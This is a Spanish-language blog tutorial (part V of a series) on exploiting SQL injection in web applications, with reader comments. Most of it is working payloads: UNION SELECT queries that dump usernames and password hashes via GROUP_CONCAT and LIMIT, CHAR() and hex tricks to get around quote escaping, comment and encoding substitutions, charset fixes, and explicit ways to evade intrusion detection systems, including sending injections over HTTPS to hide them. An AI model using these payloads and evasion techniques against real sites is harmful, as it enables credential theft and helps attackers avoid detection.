sábado, 4 de junio de 2011

SQL Injection Web Attacks [Parte V]

Bien, ya hemos visto cual es el procedimiento para extraer información de una base de datos explotando una vuln SQLi. Sin embargo no siempre todo es tan simple, a veces pueden surgir ciertos problemas y debemos conocer algunos trucos para sobrellevarlos de la mejor manera posible. De eso tratará este post.

Empecemos...


Escapado de caracteres

Algunas veces nos toparemos con webs que filtran algunos caracteres como las comillas simples o la barra invertida, entre otros. Pero que sin embargo tienen un SQLi en algún parámetro numérico (que no necesita estar entre comillas en la consulta SQL). El problema con estas aplicaciones es que cuando inyectas una consulta que incluye una cadena de caracteres, como por ejemplo:

index.php?id=-1 union select table_name,2,3 from information_schema.tables where table_schema='database'

La aplicacion escapara las comillas (u otros caracteres) antes de enviar la consulta a la base de datos y producirá un error.

index.php?id=-1 union select table_name,2,3 from information_schema.tables where table_schema=\'database\'

Para solucionar ello, podemos usar formas alternativas para representar cadenas de caracteres. Tenemos dos opciones: usar la funcion CHAR() o usar una representación hexadecimal.

Usando CHAR()

La función CHAR() sirve para formar una cadena a partir del codigo ascii de cada uno de los caracteres que la conforman. En el ejemplo, podriamos hacer lo siguiente:

index.php?id=-1 union select table_name,2,3 from information_schema.tables where table_schema=char(100,97,116,97,98,97,115,101)

Usando la representación hexadecimal

La otra opción es representar la cadena en su forma hexadecimal, esto es, pasar cada caracter a su representación hexadecimal y luego anteponer un "0x" a la cadena resultante. Por ejemplo la cadena "database" en hexadecimal quedaría así "6461746162617365", donde 64 es la 'd', 61 la 'a', etc. No olvidar, anteponer el 0x para especificar que es una representación hexadecimal, la inyección quedaría así:

index.php?id=-1 union select table_name,2,3 from information_schema.tables where table_schema=0x6461746162617365

Para pasar una cadena a hexadecimal, pueden usar esta herramienta online, bastante simple pero muy útil:

http://ostermiller.org/calc/encode.html

Otro problema que tiene que ver con el escapado de caracteres, es cuando la aplicación elimina los espacios en blanco de la variable vulnerable. Por ejemplo:

index.php?id=-1 union select table_name,2,3 from information_schema.tables where table_schema=0x6461746162617365

Luego, el valor de "id" quedaría así:

"-1unionselecttable_name,2,3frominformation_schema.tableswheretable_schema=0x6461746162617365"

Evidentemente, se producirá un error. Para arreglar esto, podemos reemplazar los espacios en blanco por un comentario multilinea "/**/". La inyección quedaría de esta manera:

index.php?id=-1/**/union/**/select/**/table_name,2,3/**/from/**/information_schema.tables/**/where/**/table_schema=0x6461746162617365

También podemos evitar los espacios en blanco usando paréntesis. Por ejemplo, para un test por contradicción:

index.php?id=(1)and(1)=(0)
index.php?id=(1)and(1)=(1)

Otra forma de evitar el filtrado de caracteres es usando codificaciones alternativas, como unicode o urlencode, por ejemplo. Algunas aplicaciones web, no filtran adecuadamente esas formas de codificación y en consecuencia podríamos evadir el filtrado.

A continuación dejo una tabla resumen, extraída del libro "SQL Injection Attacks and Defense", que muestra codificaciones alternativas para los caracteres más problemáticos.




'%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
-%u005f
%uff3f
%c0%2d
%c0%ad
%e0%80%ad
/%u2215
%u2044
%uff0f
%c0%2f
%c0%af
%e0%80%af
(%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
)%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
*%u002a
%uff0a
%c0%2a
%c0%aa
%e0%80%aa
[space]%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0


Una inyección usando estas codificaciones podría verse así:

index.php?id='%252f%252a*/UNION%252f%252a*/SELECT%252f%252a*/password%252f%252a*/FROM%252f%252a*/tblUsers%252f%252a*/WHERE%252f%252a*/username%252f%252a*/LIKE%252f%252a*/'admin'--


La web muestra solo un resultado

Otro problema, bastante frecuente, es cuando queremos, por ejemplo, listar todos los nombres de usuario y contraseñas de una tabla pero la web solo muestra un resultado: el primero. En esos casos hay un par de trucos para salvar el día: usar LIMIT o usar GROUP_CONCAT()

Usando LIMIT

La clausula LIMIT, se usa para, valga la redundancia, limitar el número de resultados que entrega la base de datos. Por ejemplo:

select * from tbl_tabla limit 10;

La consulta anterior mostrará unicamente los 10 primeros registros de la tabla "tbl_tabla".

Además de ello, LIMIT también nos permite especificar a partir de que resultado empezar a contar. Veamos:

select * from tbl_tabla limit 4,10;

Esta nueva consulta mostrará los 10 primeros registros de la tabla pero contando a partir del quinto registro (el primero es 0), es decir mostrará desde el quinto hasta el decimocuarto.

Teniendo esto en cuenta, podemos hacer inyecciones de la siguiente manera e ir sacando uno a uno cada registro.

index.php?id=' and 1=2 union select user,pass,3 from tbl_users limit 0,1--
index.php?id=' and 1=2 union select user,pass,3 from tbl_users limit 1,1--
index.php?id=' and 1=2 union select user,pass,3 from tbl_users limit 2,1--
...

Usando GROUP_CONCAT()

Esta otra opción me gusta más que limit y siempre que puedo la prefiero usar ya que nos ahorra bastante tiempo. En MySQL, se usa GROUP_CONCAT() para implementar una técnica de extracción de datos llamada "Serialized SQL Injection" que de lo que trata es de sacar con una sola consulta todos los registros de una tabla en un único campo visible ¿Sorprendente no? Pues veamos como es esto.

GROUP_CONCAT() en sí, es una función que sirve para concatenar los resultados de una consulta agrupando por algún campo en común. Por ejemplo:

mysql> select group_concat(nombre_prod) from tbl_productos group by precio_prod;
+---------------------------+
| group_concat(nombre_prod) |
+---------------------------+
| cebollas                  |
| papas,arroz,azucar        |
| camotes,fideos            |
+---------------------------+

El ejemplo, esta bastante claro. Hay una tabla de productos con nombre y precio. Se hace una consulta para que concatene los nombres de los productos de igual precio. Como se ve se usa la coma "," como separador por defecto.

Bien, pero qué sucede si no especificamos que se agrupe por algún campo en particular (no va el GROUP BY...). Pues se tratará todo como un único gran grupo }:]

Así que podemos hacer una inyección como esta:

index.php?id=' and 1=2 union select group_concat(concat(user,0x3a,pass)),2,3 from tbl_users--

Probablemente obtengamos algo como:

admin:4c2957b591597c362a2fd45d6b2208dc,luchito:ec9c08cc9d996157adb0335b77d128bc,pepito:de48d9b0457d2578aa729e6f9708e587,jaimito:f45d3f12bbcc9f1bea95268b26e78d71

Note que se usa CONCAT() para concatenar el campo user con "0x3a" (el caracter ":") y el campo pass.

Si bien la inyección anterior puede funcionar, algunas veces no lo hace tan bien. Ello se debe a que la función CONCAT() devuelve NULL siempre que alguno de sus parámetros sea NULL y como evidentemente nosotros no sabemos que hay en la base de datos, debemos validar esos casos. Para eso usaremos la función IFNULL(). IFNULL recibe dos parámetros, si el primero es NULL devolverá el segundo, en caso contrario devolverá el primero. Veamos:

index.php?id=' and 1=2 union select group_concat(concat(ifnull(user,0x2d),0x3a,ifnull(pass,0x2d)) separator 0x0a),2,3 from tbl_users--

En el ejemplo se valida que los campos user y pass sean diferentes de NULL y si lo fueran se devolverá un "-" ("0x2d") en su lugar. También se observa que se ha especificado "0x0a" (salto de linea) como separador para GROUP_CONCAT(). Como resultado obtendríamos algo así:

admin:4c2957b591597c362a2fd45d6b2208dc
luchito:ec9c08cc9d996157adb0335b77d128bc
pepito:de48d9b0457d2578aa729e6f9708e587
jaimito:f45d3f12bbcc9f1bea95268b26e78d71
invitado:-

Problemas con charsets y collations

MySQL soporta muchos conjuntos de caracteres (charsets) que son, por decirlo de alguna manera, alfabetos con los simbolos necesarios para formar todas las palabras de uno u otro idioma. Algunos conjuntos son más extensos y soportan más idiomas y otros no tanto. Dada esta diversidad de charsets, alguna veces se nos pueden presentar problemas cuando operamos con cadenas de diferentes conjuntos. Veamos:

mysql> select _hebrew'cadena 1' = _latin1'cadena 2';
ERROR 1267 (HY000): Illegal mix of collations (hebrew_general_ci,COERCIBLE) and (latin1_swedish_ci,COERCIBLE) for operation '='

En el ejemplo se trata de comparar la cadena "cadena 1" que pertenece al charset "hebrew" con la cadena "cadena 2" que pertenece al charset "latin1". Como observarán, se produce un error de "collations" (colaciones), las colaciones son reglas que determinan como se hacen las operaciones sobre los caracteres de un determinado conjunto. Por ello, si comparamos cadenas de diferentes conjuntos con diferentes reglas de comparación (colaciones), puede ocurrir un error por incompatibilidad entre dichas reglas.

Esto puede suceder sobre todo cuando intentamos extraer datos de diferentes tablas o diferentes bases de datos. Aunque no es muy frecuente.

Para solucionar ese problema podemos usar CONVERT() o CAST(). Ambas funciones nos permiten pasar una cadena de un conjunto de caracteres a otro. Veamos:

Usando CONVERT()
mysql> select convert(_hebrew'cadena 1' using latin1) = _latin1'cadena 2';
+-----------------------------------------------------------------+
| convert(_hebrew'hola mundo' using latin1) = _latin1'hola mundo' |
+-----------------------------------------------------------------+
|                                                               0 |
+-----------------------------------------------------------------+
1 row in set (0.00 sec)

Usando CAST()
mysql> select cast(_hebrew'cadena 1' as char character set latin1) = _latin1'cadena 2';
+--------------------------------------------------------------------------+
| cast(_hebrew'cadena 1' as char character set latin1) = _latin1'cadena 2' |
+--------------------------------------------------------------------------+
|                                                                        0 |
+--------------------------------------------------------------------------+
1 row in set (0.00 sec)

Entonces, si alguna vez hacemos una inyección parecida a esto:

index.php?id=null+union+select+1,username,password,4+from+jos_users%23

Y como resultado obtenemos un "Illegal mix of collations". Podemos probar haciendo un cambio de charset así:

index.php?id=null union select 1,convert(username using latin1),convert(password using latin1),4 from jos_users%23

Sistemas de detección de Intrusos (IDS's)

Algunas veces nos enfrentaremos a Sistemas de Detección de Intrusos (IDS's). Estos sistemas son algo así como "antivirus de la red" que pueden identificar una solicitud maliciosa (como una inyección, por ejemplo) y aplicar alguna regla predefinida para tratar ese tipo de ataques. Por ejemplo, bloquear la solicitud y notificar al administrador.

Para detectar un ataque los IDS utilizan "firmas" que no son otra cosa más que patrones de ataque. Por ejemplo las palabras "UNION SELECT", si un IDS viera eso en nuestra solicitud posiblemente la califique como maliciosa y suene la alarma xD

Lo que tenemos que hacer para evadir un IDS es modificar la "forma" de nuestra inyección de manera que no haga "match" con ninguna de las reglas del IDS. Por ejemplo, si el IDS detecta la cadena "UNION SELECT" puedes probar esto:
  • Alternar mayusculas y minusculas:
    UnIoN SeLeCt
  • Incluir ruido en comentarios:
    UNION/*no es importante*/SELECT
  • Esta es una forma alternativa:
    UNION ALL SELECT
  • Combina todo lo anterior:
    UnIoN/*que no*/AlL/*es importante*/SeLeCt
Solo para MySQL: Existe una forma especial de "comentario", que en realidad no es un comentario ;)

/*!esto NO es un comentario en mysql*/

Podemos usarlo para evadir algunos IDS's. Por ejemplo:

index.php?id=NULL UNION/*! SELECT*/

Si lo que detecta es el nombre de alguna estructura como "information_schema.tables" puedes intentar poniendo el nombre entre comillas invertidas (`). Ejemplo:

index.php?id=' UNION SELECT 1,2,3 FROM `information_schema`.tables

Si detecta algunas comparaciones tipo "AND 1=0" o similares, pues no las uses prueba con alternativas:
  • Usando like:
    AND 'a' like 'b'
  • Usando regexp:
    AND 'a' regexp 'b'
  • Usando parentesis:
    AND ((((4))))=(((3)))
  • El 0 tambien es falso:
    AND 0;
  • El nulo tambien es falso:
    AND NULL;
  • Otra forma de NULL:
    AND 0/0;
  • Sí, esto tambien es falso:
    AND FALSE;

Como vez todo depende de tener un profundo conocimiento del lenguaje SQL para un SGBD especifico y usarlo para encontrar inyecciones que salten el IDS.

Y por último, si el IDS no permite explotar la vuln por UNION, puedes intentar explotarla por inyecciones blind ;)

¿El IDS aún te atrapa? Revisa si la web soporta conexiones seguras (ya sabés, cambia el http:// por https://) Si envías la inyección encriptada ningún dispositivo intermedio podrá analizarla (o al menos así debería ser xD).

Además de lo comentado anteriormente existen otras técnicas mucho más sofisticadas para evadir IDS's. Pero explicarlas aquí escapa a los objetivos de esta serie. Pueden aprender más al respecto en las siguientes webs:

Algunos otros problemas que no resolveremos por ahora:
  • Cuando la web no muestra ningún campo de la consulta.
  • Cuando luego de sacar el número de campos con ORDER BY, hacemos el UNION SELECT con ese número de campos y nos vota error de numero de columnas.
  • Cuando la inyección no está en una consulta SELECT sino un INSERT o UPDATE.
Las situaciones descritas anteriormente, son algunos ejemplos de cuando debemos cambiar el enfoque de una explotación normal y aplicar el enfoque deductivo: "Blind SQL Injections". Pero de eso ya nos encargaremos en posteriores capítulos.

Un saludo.

Actualización (06/09/11): Se agregó algunas técnicas para evadir IDS

Otros capítulos de la serie:

7 comentarios:

  1. Muy buenos detalles, excelente

    ResponderEliminar
  2. tus tutoriales estan de maravilla, amigo !!

    ResponderEliminar
  3. gracias man, q base eres

    ResponderEliminar
  4. Saludos,
    Muy buena esta serie, aprendi bastante
    esperando las otras :)

    Gracias !!

    ResponderEliminar
  5. gracias por todas estas entregas !!! me han sido muy utiles. gracias

    ResponderEliminar